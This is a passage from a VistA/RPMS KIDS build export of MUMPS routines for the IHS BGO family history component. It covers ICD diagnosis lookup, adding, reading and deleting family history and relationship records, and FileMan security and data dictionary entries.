"QUES","XPZ2","A")
Want to MOVE routines to other CPUs
"QUES","XPZ2","B")
NO
"QUES","XPZ2","M")
D XPZ2^XPDIQ
"RTN")
3
"RTN","BGOFHLK")
0^1^B5199565
"RTN","BGOFHLK",1,0)
BGOFHLK ; IHS/BAO/TMD - FHL - PROGRAM TO GET LIST OF DIAGNOSES ;02-Apr-2013 09:12;MGH
"RTN","BGOFHLK",2,0)
;;1.1;BGO COMPONENTS;**6,12**;Mar 20, 2007;Build 22
"RTN","BGOFHLK",3,0)
;---------------------------------------------------------------
"RTN","BGOFHLK",4,0)
; Lookup ICD's matching input
"RTN","BGOFHLK",5,0)
; INP = Lookup Value [1] ^ Visit Date [2] ^ Patient Gender [3]
"RTN","BGOFHLK",6,0)
; ^ FROM [4], TO [5]
"RTN","BGOFHLK",7,0)
; Returned as a list of records in the format:
"RTN","BGOFHLK",8,0)
; Descriptive Text [1] ^ ICD IEN [2] ^ Narrative Text [3] ^ ICD Code [4]
"RTN","BGOFHLK",9,0)
; Patch 12 updated for new ICD lookup
"RTN","BGOFHLK",10,0)
ICDLKUP(RET,INP) ;PEP - ICD lookup
"RTN","BGOFHLK",11,0)
N LKUP,VDT,SEX,CNT,DIC,X,Y,I,ICD,FROM,TO,CNT
"RTN","BGOFHLK",12,0)
N AICDRET,XTLKSAY,REC,DESC,CODE,NARR
"RTN","BGOFHLK",13,0)
S RET=$$TMPGBL^BGOUTL
"RTN","BGOFHLK",14,0)
S LKUP=$P(INP,U)
"RTN","BGOFHLK",15,0)
S FROM=$P(INP,U,4)
"RTN","BGOFHLK",16,0)
S TO=$P(INP,U,5)
"RTN","BGOFHLK",17,0)
S VDT=$$CVTDATE^BGOUTL($P(INP,U,3))
"RTN","BGOFHLK",18,0)
S SEX=$P(INP,U,3)
"RTN","BGOFHLK",19,0)
S CNT=0
"RTN","BGOFHLK",20,0)
I LKUP'="" D
"RTN","BGOFHLK",21,0)
.I $G(DUZ("AG"))="I" D
"RTN","BGOFHLK",22,0)
..I $$AICD^BGOUTL2 D
"RTN","BGOFHLK",23,0)
...N HITS
"RTN","BGOFHLK",24,0)
...S HITS=0
"RTN","BGOFHLK",25,0)
...K ^TMP("ICD9")
"RTN","BGOFHLK",26,0)
...S HITS=$$LKTX^ICDEX(LKUP,"ICD9(",VDT,1,1,2)
"RTN","BGOFHLK",27,0)
...I HITS>0 D
"RTN","BGOFHLK",28,0)
....S X=0 F S X=$O(^TMP("ICD9",$J,"SEL",X)) Q:X="" D
"RTN","BGOFHLK",29,0)
.....S ICD=$P($G(^TMP("ICD9",$J,"SEL",X)),U,1)
"RTN","BGOFHLK",30,0)
.....D CHKHITS
"RTN","BGOFHLK",31,0)
.E D
"RTN","BGOFHLK",32,0)
..S DIC="^ICD9(",DIC(0)="TM",X=LKUP,XTLKSAY=0
"RTN","BGOFHLK",33,0)
..K ^UTILITY("AICDHITS",$J),^TMP("XTLKHITS",$J)
"RTN","BGOFHLK",34,0)
..D ^DIC
"RTN","BGOFHLK",35,0)
..I Y'=-1 D
"RTN","BGOFHLK",36,0)
...S ICD=+Y
"RTN","BGOFHLK",37,0)
...D CHKHITS
"RTN","BGOFHLK",38,0)
..I 'CNT,$L(LKUP)>2 D
"RTN","BGOFHLK",39,0)
...N LK,LN
"RTN","BGOFHLK",40,0)
...S LK=LKUP,LN=$L(LKUP)
"RTN","BGOFHLK",41,0)
...F D S LK=$O(^ICD9("BA",LK)) Q:$E(LK,1,LN)'=LKUP
"RTN","BGOFHLK",42,0)
....S ICD=0
"RTN","BGOFHLK",43,0)
....F S ICD=$O(^ICD9("BA",LK,ICD)) Q:'ICD D CHKHITS
"RTN","BGOFHLK",44,0)
I LKUP="" D
"RTN","BGOFHLK",45,0)
. N LK,LK1
"RTN","BGOFHLK",46,0)
.I FROM="" S FROM="V16"
"RTN","BGOFHLK",47,0)
.I TO="" S TO="V20.0"
"RTN","BGOFHLK",48,0)
.S LK=FROM F S LK=$O(^ICD9("AB",LK)) S LK1=$E(LK,2,$L(LK)) Q:LK=TO!(LK1>19.9) D
"RTN","BGOFHLK",49,0)
..S ICD="" F S ICD=$O(^ICD9("AB",LK,ICD)) Q:'ICD D CHKHITS
"RTN","BGOFHLK",50,0)
K @RET@(0)
"RTN","BGOFHLK",51,0)
Q
"RTN","BGOFHLK",52,0)
CHKHITS ;Q:$D(@RET@(0,ICD)) S ^(ICD)=""
"RTN","BGOFHLK",53,0)
N OK,RECN
"RTN","BGOFHLK",54,0)
S REC=$G(^ICD9(ICD,0))
"RTN","BGOFHLK",55,0)
Q:$P(REC,U,9)
"RTN","BGOFHLK",56,0)
S RECN=$P(REC,U,1)
"RTN","BGOFHLK",57,0)
S OK=$$CHKFH^AUPNSICD(ICD)
"RTN","BGOFHLK",58,0)
I OK=0 Q
"RTN","BGOFHLK",59,0)
I VDT,$P(REC,U,11),$$FMDIFF^XLFDT(VDT,$P(REC,U,11))>-1 Q
"RTN","BGOFHLK",60,0)
I $L(SEX),$P(REC,U,10)'="",SEX'=$P(REC,U,10) Q
"RTN","BGOFHLK",61,0)
I $$AICD^BGOUTL2 S NARR=$P($$ICDDX^ICDEX(ICD,VDT),U,4) ;Patch 12
"RTN","BGOFHLK",62,0)
E S NARR=$G(^ICD9(ICD,1))
"RTN","BGOFHLK",63,0)
S CODE=$P(REC,U),DESC=$P(REC,U,3)
"RTN","BGOFHLK",64,0)
S CNT=CNT+1
"RTN","BGOFHLK",65,0)
S @RET@(CNT)=DESC_U_ICD_U_NARR_U_CODE
"RTN","BGOFHLK",66,0)
Q
"RTN","BGOFHLK",67,0)
CHKFH ;Family history lookup
"RTN","BGOFHX")
0^2^B29325355
"RTN","BGOFHX",1,0)
BGOFHX ; IHS/MSC/MGH - New family history component ;13-Jul-2015 08:40;DKM
"RTN","BGOFHX",2,0)
;;1.1;BGO COMPONENTS;**6,13**;Mar 20, 2007;Build 22
"RTN","BGOFHX",3,0)
;---------------------------------------------
"RTN","BGOFHX",4,0)
;
"RTN","BGOFHX",5,0)
; Note: The BGOHFX SET RPC now points to SET^BGOREL, which in turn calls SET^BGOFHX
"RTN","BGOFHX",6,0)
;
"RTN","BGOFHX",7,0)
; Add/edit entry family/personal history corresponding to problem entry
"RTN","BGOFHX",8,0)
; INP=Patient IEN [1] ^ Relationship IEN [2] ^ DX [3] ^ Text [4] ^ DX Age [5] ^DX Age Approximate [6]
"RTN","BGOFHX",9,0)
;^FHX IEN [7] ^ CONCEPT CT [8] ^ DESC CT [9] ^ MULT ICD [10]
"RTN","BGOFHX",10,0)
SET(RET,INP) ;
"RTN","BGOFHX",11,0)
N FDA,RIEN,DFN,DMOD,REL,FNUM,EDIT,ICD,ICDX,ICDIEN,FIEN,FNEW,IENX,NEW,DXAGE,DXAGEAPX,DESCT,NARR,IN,OUT,X
"RTN","BGOFHX",12,0)
S DFN=$P(INP,U,1),RIEN=$P(INP,U,2),ICD=$P(INP,U,3),FIEN=$P(INP,U,7)
"RTN","BGOFHX",13,0)
Q:DFN=""
"RTN","BGOFHX",14,0)
Q:RIEN=""
"RTN","BGOFHX",15,0)
S DESCT=$P(INP,U,9)
"RTN","BGOFHX",16,0)
I ICD="" D
"RTN","BGOFHX",17,0)
.S IN=DESCT_"^^1"
"RTN","BGOFHX",18,0)
.S OUT="ARR"
"RTN","BGOFHX",19,0)
.S X=$$DSCLKP^BSTSAPI(.OUT,.IN)
"RTN","BGOFHX",20,0)
.I X>0 D
"RTN","BGOFHX",21,0)
..S ICD=$G(ARR(1,"ICD",1,"COD"))
"RTN","BGOFHX",22,0)
..I ICD="" S ICD=".9999"
"RTN","BGOFHX",23,0)
S ICDIEN=$P($$ICDDX^ICDCODE(ICD),U,1)
"RTN","BGOFHX",24,0)
I ICDIEN="" S RET=$$ERR^BGOUTL(1092) Q
"RTN","BGOFHX",25,0)
S EDIT=0
"RTN","BGOFHX",26,0)
S NEW=0
"RTN","BGOFHX",27,0)
I FIEN="" D
"RTN","BGOFHX",28,0)
.S FNEW=1
"RTN","BGOFHX",29,0)
.S FIEN="+1",NEW=1
"RTN","BGOFHX",30,0)
S FDA=$NA(FDA(9000014,FIEN_","))
"RTN","BGOFHX",31,0)
S @FDA@(.01)="`"_ICDIEN
"RTN","BGOFHX",32,0)
I NEW=1 S @FDA@(.02)="`"_DFN
"RTN","BGOFHX",33,0)
S @FDA@(.08)="`"_DUZ
"RTN","BGOFHX",34,0)
;S @FDA@(.09)="`"_$P(INP,U,2)
"RTN","BGOFHX",35,0)
S @FDA@(.11)="" ; Clear out AGE AT ONSET field
"RTN","BGOFHX",36,0)
S @FDA@(.05)=$P(INP,U,5)
"RTN","BGOFHX",37,0)
S @FDA@(.15)=$P(INP,U,6)
"RTN","BGOFHX",38,0)
I NEW=1 S @FDA@(.03)="TODAY"
"RTN","BGOFHX",39,0)
S @FDA@(.12)="TODAY"
"RTN","BGOFHX",40,0)
S @FDA@(.13)=$P(INP,U,8)
"RTN","BGOFHX",41,0)
S NARR=$P(INP,U,4)
"RTN","BGOFHX",42,0)
S @FDA@(.14)=DESCT
"RTN","BGOFHX",43,0)
S NARR=NARR_"|"_DESCT
"RTN","BGOFHX",44,0)
S RET=$$FNDNARR^BGOUTL2(NARR)
"RTN","BGOFHX",45,0)
Q:RET<0
"RTN","BGOFHX",46,0)
S NARR=$S(RET:"`"_RET,1:""),RET=""
"RTN","BGOFHX",47,0)
S @FDA@(.04)=NARR
"RTN","BGOFHX",48,0)
S RET=$$UPDATE^BGOUTL(.FDA,"E@",.IENX)
"RTN","BGOFHX",49,0)
S:$E(FIEN)="+" FIEN=$G(IENX(1))
"RTN","BGOFHX",50,0)
I RET="" D
"RTN","BGOFHX",51,0)
.N DIE,DA,DR,POP
"RTN","BGOFHX",52,0)
.S DIE="^AUPNFH(",DA=FIEN,DR=".09////"_$P(INP,U,2) D ^DIE
"RTN","BGOFHX",53,0)
.I $D(POP) S RET=$$ERR^BGOUTL(1026)
"RTN","BGOFHX",54,0)
.S DATA=$G(^AUPNFH(FIEN,0))
"RTN","BGOFHX",55,0)
S RET=FIEN
"RTN","BGOFHX",56,0)
I FIEN="" S RET="-1^Unable to store selected code" Q
"RTN","BGOFHX",57,0)
;Remove current multiple ICD codes and then add them back in
"RTN","BGOFHX",58,0)
N DA,DIK,IEN,ERR,MULT,SUB,AIEN,ERR,FDA
"RTN","BGOFHX",59,0)
S ERR=""
"RTN","BGOFHX",60,0)
S IEN=0 F S IEN=$O(^AUPNFH(FIEN,11,IEN)) Q:'+IEN D
"RTN","BGOFHX",61,0)
.S ERR=""
"RTN","BGOFHX",62,0)
.S DA(1)=FIEN,DA=IEN
"RTN","BGOFHX",63,0)
.S DIK="^AUPNFH(DA(1),11,"
"RTN","BGOFHX",64,0)
.S:DA ERR=$$DELETE^BGOUTL(DIK,.DA)
"RTN","BGOFHX",65,0)
I ERR'="" Q RET_" "_ERR
"RTN","BGOFHX",66,0)
S MULT=$P(INP,U,10)
"RTN","BGOFHX",67,0)
F Y=1:1:$L(MULT,"~") D
"RTN","BGOFHX",68,0)
.K IEN2,ERR
"RTN","BGOFHX",69,0)
.S ERR=""
"RTN","BGOFHX",70,0)
.S SUB=$P(MULT,"~",Y)
"RTN","BGOFHX",71,0)
.S AIEN="+1,"_FIEN_","
"RTN","BGOFHX",72,0)
.S FDA(9000014.11,AIEN,.01)=SUB
"RTN","BGOFHX",73,0)
.D UPDATE^DIE(,"FDA","IEN2","ERR")
"RTN","BGOFHX",74,0)
I ERR S RET=RET_U_"Unable to update qualifiers"
"RTN","BGOFHX",75,0)
Q
"RTN","BGOFHX",76,0)
;------------------------------------------------------------
"RTN","BGOFHX",77,0)
;Get the family history for a patient
"RTN","BGOFHX",78,0)
;INP=Patient IEN
"RTN","BGOFHX",79,0)
;.RET returned as a list of records in the format
"RTN","BGOFHX",80,0)
; Relationship IEN [1] Relationship [2] ^ Status [3] ^ Age at Death [4] ^ Cause of Death [5] ^
"RTN","BGOFHX",81,0)
; Multiple Birth [6] ^ Multiple Birth Type [7] ^ Condition [8] ^ Narrative [9] ^ [10] ^
"RTN","BGOFHX",82,0)
; Date Modified [11] ^Description [12] ^Family hx IEN [13]^ Age at DX [14] ^
"RTN","BGOFHX",83,0)
; Age at DX Approximate [15] ^ Snomed CT [16] ^ Snomed Desc ID [17] ^
"RTN","BGOFHX",84,0)
; List of Additional ICD codes - ";" delimited [18]
"RTN","BGOFHX",85,0)
GET(RET,INP) ;
"RTN","BGOFHX",86,0)
N X,DFN,NAME,FHIEN,FHX,CNT,REL,RELDATA,STAT,AGE,CAUSE,MB,MBTYPE,DX,NAR,MOD,ARRAY,DXAGE,DXAGEAPX
"RTN","BGOFHX",87,0)
N SNOMEDCT,SNODESC,ICD2,ICD2CODE,ICD2LIST,ICD2IEN,SNOTXT
"RTN","BGOFHX",88,0)
S RET=$$TMPGBL^BGOUTL
"RTN","BGOFHX",89,0)
S DFN=+INP
"RTN","BGOFHX",90,0)
I 'DFN S RET=$$ERR^BGOUTL(1001) Q
"RTN","BGOFHX",91,0)
S CNT=0,FHIEN=""
"RTN","BGOFHX",92,0)
F S FHIEN=$O(^AUPNFH("AC",DFN,FHIEN)) Q:FHIEN="" D
"RTN","BGOFHX",93,0)
. S FHX=$G(^AUPNFH(FHIEN,0))
"RTN","BGOFHX",94,0)
. Q:FHX=""
"RTN","BGOFHX",95,0)
. S (REL,STAT,AGE,CAUSE,MB,MBTYPE,DX,NAR,MOD,DXAGE,DXAGEAPX)=""
"RTN","BGOFHX",96,0)
. N RELIEN,DXIEN,NARIEN
"RTN","BGOFHX",97,0)
. S DXIEN=$P(FHX,U,1),NARIEN=$P(FHX,U,4),RELIEN=$P(FHX,U,9)
"RTN","BGOFHX",98,0)
. S (NAR,SNOTXT)=""
"RTN","BGOFHX",99,0)
. I RELIEN'="" D
"RTN","BGOFHX",100,0)
. . S RELDATA=$G(^AUPNFHR(RELIEN,0))
"RTN","BGOFHX",101,0)
. . S X=$P(RELDATA,U,1),REL=$$EXTERNAL^DILFD(9000014.1,.01,"",X)
"RTN","BGOFHX",102,0)
. . S X=$P(RELDATA,U,4),STAT=$$EXTERNAL^DILFD(9000014.1,.04,"",X)
"RTN","BGOFHX",103,0)
. . S X=$P(RELDATA,U,5),AGE=$$EXTERNAL^DILFD(9000014.1,.05,"",X)
"RTN","BGOFHX",104,0)
. . S CAUSE=$P(RELDATA,U,6)
"RTN","BGOFHX",105,0)
. . S X=$P(RELDATA,U,7),MB=$$EXTERNAL^DILFD(9000014.1,.07,"",X)
"RTN","BGOFHX",106,0)
. . S X=$P(RELDATA,U,8),MBTYPE=$$EXTERNAL^DILFD(9000014.1,.08,"",X)
"RTN","BGOFHX",107,0)
. . S NAME=$P(RELDATA,U,3)
"RTN","BGOFHX",108,0)
. . S DX=$P($G(^ICD9(DXIEN,0)),U,1)
"RTN","BGOFHX",109,0)
. . I +NARIEN S NAR=$$GET1^DIQ(9000014,FHIEN,.04)
"RTN","BGOFHX",110,0)
. . S X=$P(FHX,U,12),MOD=$$FMTDATE^BGOUTL(X)
"RTN","BGOFHX",111,0)
. . S DXAGE=$P(FHX,U,5)
"RTN","BGOFHX",112,0)
. . S DXAGEAPX=$P(FHX,U,15)
"RTN","BGOFHX",113,0)
. . S SNOMEDCT=$P(FHX,U,13)
"RTN","BGOFHX",114,0)
. . S SNODESC=$P(FHX,U,14)
"RTN","BGOFHX",115,0)
. . I SNODESC>0 S SNOTXT=$P($$DESC^BSTSAPI(SNODESC_"^^1"),U,2) ; DKA
"RTN","BGOFHX",116,0)
. . S (ICD2IEN,ICD2LIST,ICD2CODE)=""
"RTN","BGOFHX",117,0)
. . F S ICD2IEN=$O(^AUPNFH(FHIEN,11,ICD2IEN)) Q:ICD2IEN="" D
"RTN","BGOFHX",118,0)
. . . S ICD2=$P($G(^AUPNFH(FHIEN,11,ICD2IEN)),U,1)
"RTN","BGOFHX",119,0)
. . . I +ICD2 S ICD2CODE=$P($G(^ICD9(ICD2,0)),U,1)
"RTN","BGOFHX",120,0)
. . . I ICD2CODE'="" S ICD2LIST=ICD2LIST_ICD2CODE_";"
"RTN","BGOFHX",121,0)
. . S CNT=CNT+1
"RTN","BGOFHX",122,0)
. . S ARRAY(RELIEN)=""
"RTN","BGOFHX",123,0)
. . S @RET@(CNT)=RELIEN_U_REL_U_STAT_U_AGE_U_CAUSE_U_MB_U_MBTYPE_U_DX_U_NAR_U_U_MOD_U_NAME_U_FHIEN_U_DXAGE_U_DXAGEAPX_U_SNOMEDCT_U_SNODESC_U_ICD2LIST_U_SNOTXT
"RTN","BGOFHX",124,0)
;Check for relationships without any DX attached
"RTN","BGOFHX",125,0)
D EXTRA^BGOREL(.ARRAY)
"RTN","BGOFHX",126,0)
I CNT=0 S @RET@(1)="No family hx"
"RTN","BGOFHX",127,0)
Q
"RTN","BGOFHX",128,0)
;------------------------------------------------------------
"RTN","BGOFHX",129,0)
;Delete a family history problem
"RTN","BGOFHX",130,0)
;INP= Relationship IEN [1] ^ Family HX ien [2]
"RTN","BGOFHX",131,0)
DEL(RET,INP) ;EP
"RTN","BGOFHX",132,0)
N RIEN,DFN,FHIEN,ZN,ZP,REL,FIEN
"RTN","BGOFHX",133,0)
S RIEN=$P(INP,U,1),FHIEN=$P(INP,U,2)
"RTN","BGOFHX",134,0)
;If no family history IEN is included, the entire relationship will be deleted
"RTN","BGOFHX",135,0)
;else just delete the family history dx
"RTN","BGOFHX",136,0)
I FHIEN="" D
"RTN","BGOFHX",137,0)
.D DELREL(.RET,RIEN)
"RTN","BGOFHX",138,0)
.D EVT(RIEN,"",2,ZN)
"RTN","BGOFHX",139,0)
E D
"RTN","BGOFHX",140,0)
.D DELFH(.RET,FHIEN)
"RTN","BGOFHX",141,0)
.D EVT(RIEN,FHIEN,2,ZN)
"RTN","BGOFHX",142,0)
Q
"RTN","BGOFHX",143,0)
;
"RTN","BGOFHX",144,0)
DELFH(RET,FHIEN) ;Delete one family history item
"RTN","BGOFHX",145,0)
S ZN=$G(^AUPNFH(FHIEN,0)),RET=""
"RTN","BGOFHX",146,0)
S DFN=$P(ZN,U,2)
"RTN","BGOFHX",147,0)
S RET=$$DELETE^BGOUTL("^AUPNFH(",FHIEN)
"RTN","BGOFHX",148,0)
Q
"RTN","BGOFHX",149,0)
DELREL(RET,RIEN) ;Delete entire relation
"RTN","BGOFHX",150,0)
S ZN=$G(^AUPNFHR(RIEN,0)),RET=""
"RTN","BGOFHX",151,0)
Q:ZN=""
"RTN","BGOFHX",152,0)
S DFN=$P(ZN,U,2)
"RTN","BGOFHX",153,0)
;Find the family history DX's for this patient and this relationship
"RTN","BGOFHX",154,0)
S FIEN="" F S FIEN=$O(^AUPNFH("AC",DFN,FIEN)) Q:FIEN="" D
"RTN","BGOFHX",155,0)
.S ZP=$G(^AUPNFH(FIEN,0))
"RTN","BGOFHX",156,0)
.I $P(ZP,U,9)=RIEN D DELFH(.RET,FIEN)
"RTN","BGOFHX",157,0)
S RET=$$DELETE^BGOUTL("^AUPNFHR(",RIEN)
"RTN","BGOFHX",158,0)
Q
"RTN","BGOFHX",159,0)
; Broadcast a family history event
"RTN","BGOFHX",160,0)
EVT(RIEN,FHIEN,OPR,X) ;EP
"RTN","BGOFHX",161,0)
N DFN,DATA
"RTN","BGOFHX",162,0)
S:'$D(X) X=$G(^AUPNFHR(RIEN,0))
"RTN","BGOFHX",163,0)
;S DFN=$P(X,U,2),DATA=RIEN_U_FHIEN_$G(CIA("UID"))_U_OPR
"RTN","BGOFHX",164,0)
;D:DFN BRDCAST^CIANBEVT("PCC."_DFN_".FHH",DATA)
"RTN","BGOFHX",165,0)
S DFN=$P(X,U,2),DATA=RIEN_U_FHIEN_U_$G(RGNETB("UID"))_U_OPR
"RTN","BGOFHX",166,0)
D:DFN BRDCAST^RGNETBEV("PCC."_DFN_".FHH",DATA)
"RTN","BGOFHX",167,0)
Q
"RTN","BGOREL")
0^3^B10927542
"RTN","BGOREL",1,0)
BGOREL ; IHS/MSC/MGH - New family history component ;09-Jul-2015 22:28;DKM
"RTN","BGOREL",2,0)
;;1.1;BGO COMPONENTS;**6,13**;Mar 20, 2007;Build 22
"RTN","BGOREL",3,0)
;---------------------------------------------
"RTN","BGOREL",4,0)
;Add/edit a relationship and diagnoses for a patient
"RTN","BGOREL",5,0)
;DFN=Patient IEN [1]
"RTN","BGOREL",6,0)
;LIST(1)=REL^ Relationship ien [2] ^ Relationship [3] ^ Relationship Desc [4] ^ Status [5] ^ Age at Death [6]
"RTN","BGOREL",7,0)
;Cause of Death [7] ^ Multiple Birth [8] ^ Multiple Birth Type [9]
"RTN","BGOREL",8,0)
;LIST(n)=FHX^ Family HS ien [2]^ DX [3] ^ Text [4] ^ DX Age [5] ^ DX Age Approximate [6] ^ concept ct [7] ^ DESC CT [8] ^ MULT ICD [9]
"RTN","BGOREL",9,0)
SET(RET,DFN,INP) ;
"RTN","BGOREL",10,0)
N FDA,LP,NEW,IEN,REL,OLDRIEN,RET2,RELIEN,FIEN,RIEN,DESC,STAT,DAGE,DCAUSE,MB,MBT,RNAME,IENX,INP2
"RTN","BGOREL",11,0)
S RET2=""
"RTN","BGOREL",12,0)
I 'DFN S RET=$$ERR^BGOUTL(1001) Q
"RTN","BGOREL",13,0)
I '$D(^DPT(DFN,0)) S RET=$$ERR^BGOUTL(1001) Q
"RTN","BGOREL",14,0)
S LP="" F S LP=$O(INP(LP)) Q:LP="" D
"RTN","BGOREL",15,0)
.S FAM=INP(LP)
"RTN","BGOREL",16,0)
.I $E(FAM,1,3)="REL" D EREL
"RTN","BGOREL",17,0)
.I $E(FAM,1,3)="FHX" D EFHX
"RTN","BGOREL",18,0)
S RET=RET2
"RTN","BGOREL",19,0)
Q
"RTN","BGOREL",20,0)
EREL ;Add/Edit a relationship
"RTN","BGOREL",21,0)
S (RELIEN,OLDRIEN)=$P(FAM,U,2) ;If blank its a new one
"RTN","BGOREL",22,0)
S NEW=0,FIEN=""
"RTN","BGOREL",23,0)
Q:$L(FAM,U)=2 ; Updating dx only
"RTN","BGOREL",24,0)
S RNAME=$P(FAM,U,3)
"RTN","BGOREL",25,0)
S RIEN="",RIEN=$O(^AUTTRLSH("B",RNAME,RIEN))
"RTN","BGOREL",26,0)
I RIEN="" S RET=$$ERR^BGOUTL(1008) Q
"RTN","BGOREL",27,0)
;Store new relationship
"RTN","BGOREL",28,0)
I RELIEN="" D
"RTN","BGOREL",29,0)
.S RELIEN="+1",NEW=1
"RTN","BGOREL",30,0)
S FDA=$NA(FDA(9000014.1,RELIEN_","))
"RTN","BGOREL",31,0)
S @FDA@(.01)=RNAME
"RTN","BGOREL",32,0)
S @FDA@(.02)="`"_DFN
"RTN","BGOREL",33,0)
S @FDA@(.03)=$P(FAM,U,4)
"RTN","BGOREL",34,0)
S @FDA@(.04)=$P(FAM,U,5)
"RTN","BGOREL",35,0)
S @FDA@(.05)=$P(FAM,U,6)
"RTN","BGOREL",36,0)
S @FDA@(.06)=$P(FAM,U,7)
"RTN","BGOREL",37,0)
S @FDA@(.07)=$P(FAM,U,8)
"RTN","BGOREL",38,0)
S @FDA@(.08)=$P(FAM,U,9)
"RTN","BGOREL",39,0)
I NEW=1 S @FDA@(.11)="TODAY"
"RTN","BGOREL",40,0)
S @FDA@(.09)="TODAY"
"RTN","BGOREL",41,0)
S RET=$$UPDATE^BGOUTL(.FDA,"E@",.IENX)
"RTN","BGOREL",42,0)
S:$E(RELIEN)="+" RELIEN=$G(IENX(1))
"RTN","BGOREL",43,0)
I +RELIEN S RET2=RELIEN_";R"
"RTN","BGOREL",44,0)
E S RET2=RET
"RTN","BGOREL",45,0)
Q
"RTN","BGOREL",46,0)
EFHX ;Add/edit a family history
"RTN","BGOREL",47,0)
I '$D(RELIEN) S RET="Relationship not defined" Q
"RTN","BGOREL",48,0)
I RELIEN="" S RET="Unknown relationship" Q
"RTN","BGOREL",49,0)
I OLDRIEN=""&($P(FAM,U,2)'="") S RET="Cannot add an existing FHX to a new relationship" Q
"RTN","BGOREL",50,0)
S INP2=DFN_"^"_RELIEN_"^"_$P(FAM,U,3)_"^"_$P(FAM,U,4)_"^"_$P(FAM,U,5)_"^"_$P(FAM,U,6)_"^"_$P(FAM,U,2)_"^"_$P(FAM,U,7)_"^"_$P(FAM,U,8)_"^"_$P(FAM,U,9)
"RTN","BGOREL",51,0)
S RET=""
"RTN","BGOREL",52,0)
D SET^BGOFHX(.RET,INP2)
"RTN","BGOREL",53,0)
S FIEN=RET
"RTN","BGOREL",54,0)
S RET2=RET2_"^"_FIEN_";F"
"RTN","BGOREL",55,0)
;Process event
"RTN","BGOREL",56,0)
D EVT^BGOFHX(RELIEN,FIEN,NEW,$G(^AUPNFHR(RELIEN,0)))
"RTN","BGOREL",57,0)
Q
"RTN","BGOREL",58,0)
EXTRA(ARRAY) ;Search relationships
"RTN","BGOREL",59,0)
N FREL,IEN,RELDATA,REL,STAT,AGE,MB,MBTYPE,CAUSE
"RTN","BGOREL",60,0)
S FREL="" F S FREL=$O(^AUPNFHR("AA",DFN,FREL)) Q:FREL="" D
"RTN","BGOREL",61,0)
.S IEN="" F S IEN=$O(^AUPNFHR("AA",DFN,FREL,IEN)) Q:IEN="" D
"RTN","BGOREL",62,0)
..I $D(ARRAY(IEN)) Q ;This relationship already exists
"RTN","BGOREL",63,0)
..I '$D(ARRAY(IEN)) D
"RTN","BGOREL",64,0)
. . . S RELDATA=$G(^AUPNFHR(IEN,0))
"RTN","BGOREL",65,0)
. . . S X=$P(RELDATA,U,1),REL=$$EXTERNAL^DILFD(9000014.1,.01,"",X)
"RTN","BGOREL",66,0)
. . . S X=$P(RELDATA,U,4),STAT=$$EXTERNAL^DILFD(9000014.1,.04,"",X)
"RTN","BGOREL",67,0)
. . . S X=$P(RELDATA,U,5),AGE=$$EXTERNAL^DILFD(9000014.1,.05,"",X)
"RTN","BGOREL",68,0)
. . . S CAUSE=$P(RELDATA,U,6)
"RTN","BGOREL",69,0)
. . . S X=$P(RELDATA,U,7),MB=$$EXTERNAL^DILFD(9000014.1,.07,"",X)
"RTN","BGOREL",70,0)
. . . S X=$P(RELDATA,U,8),MBTYPE=$$EXTERNAL^DILFD(9000014.1,.08,"",X)
"RTN","BGOREL",71,0)
. . . S X=$P(RELDATA,U,9),MOD=$$FMTDATE^BGOUTL(X)
"RTN","BGOREL",72,0)
. . . S NAME=$P(RELDATA,U,3)
"RTN","BGOREL",73,0)
. . . S CNT=CNT+1
"RTN","BGOREL",74,0)
. . . S @RET@(CNT)=IEN_U_REL_U_STAT_U_AGE_U_CAUSE_U_MB_U_MBTYPE_"^^^^"_MOD_U_NAME_"^"
"RTN","BGOREL",75,0)
Q
"SEC","^DIC",9000014,9000014,0,"AUDIT")
M
"SEC","^DIC",9000014,9000014,0,"DD")
@
"SEC","^DIC",9000014,9000014,0,"DEL")
M
"SEC","^DIC",9000014,9000014,0,"LAYGO")
M
"SEC","^DIC",9000014,9000014,0,"RD")
M
"SEC","^DIC",9000014,9000014,0,"WR")
M
"SEC","^DIC",9000014.1,9000014.1,0,"AUDIT")
@
"SEC","^DIC",9000014.1,9000014.1,0,"DD")
@
"SEC","^DIC",9000014.1,9000014.1,0,"DEL")
M
"SEC","^DIC",9000014.1,9000014.1,0,"LAYGO")
M
"SEC","^DIC",9000014.1,9000014.1,0,"RD")
M
"SEC","^DIC",9000014.1,9000014.1,0,"WR")
M
"SEC","^DIC",9999999.36,9999999.36,0,"AUDIT")
@
"SEC","^DIC",9999999.36,9999999.36,0,"DD")
@
"SEC","^DIC",9999999.36,9999999.36,0,"DEL")
@
"SEC","^DIC",9999999.36,9999999.36,0,"LAYGO")
@
"SEC","^DIC",9999999.36,9999999.36,0,"RD")
"SEC","^DIC",9999999.36,9999999.36,0,"WR")
@
"VER")
8.0^22.0
"^DD",9000014,9000014,0)
FIELD^^.139^14
"^DD",9000014,9000014,0,"DT")
3150625
"^DD",9000014,9000014,0,"ID",.02)
W " ",$S($D(^DPT(+$P(^(0),U,2),0))#2:$P(^(0),U,1),1:""),@("$E("_DIC_"Y,0),0)")
"^DD",9000014,9000014,0,"IX","AC",9000014,.02)
"^DD",9000014,9000014,0,"IX","AD",9000014,.03)
"^DD",9000014,9000014,0,"IX","AE",9000014,.09)
"^DD",9000014,9000014,0,"IX","AV9",9000014,.01)
"^DD",9000014,9000014,0,"IX","B",9000014,.01)
"^DD",9000014,9000014,0,"NM","FAMILY HISTORY")
"^DD",9000014,9000014,0,"VRPK")
BJPC
"^DD",9000014,9000014,.01,0)
DIAGNOSIS^R*P80'X^ICD9(^0;1^S DIC("S")="D FHCHK^AUPNSICD" D ^DIC K DIC S DIC=DIE,X=+Y K:Y<0 X
"^DD",9000014,9000014,.01,1,0)
^.1
"^DD",9000014,9000014,.01,1,1,0)
9000014^B
"^DD",9000014,9000014,.01,1,1,1)
S ^AUPNFH("B",$E(X,1,30),DA)=""
"^DD",9000014,9000014,.01,1,1,2)
K ^AUPNFH("B",$E(X,1,30),DA)
"^DD",9000014,9000014,.01,1,2,0)
9000014^AV9^MUMPS
"^DD",9000014,9000014,.01,1,2,1)
S:$D(APCDLOOK) DIC("DR")=""
"^DD",9000014,9000014,.01,1,2,2)
Q
"^DD",9000014,9000014,.01,3)
Enter the Family History ICD code that best describes the diagnosis.
"^DD",9000014,9000014,.01,4)
D HELPFH^AUPNSICD
"^DD",9000014,9000014,.01,12)
FAMILY HX DX MUST BE A CODE IN THE RANGE V16-V19 AND MUST NOT BE AN INACTIVE CODE
"^DD",9000014,9000014,.01,12.1)
S DIC("S")="D FHCHK^AUPNSICD"
"^DD",9000014,9000014,.01,"DT")
3080529
"^DD",9000014,9000014,.02,0)
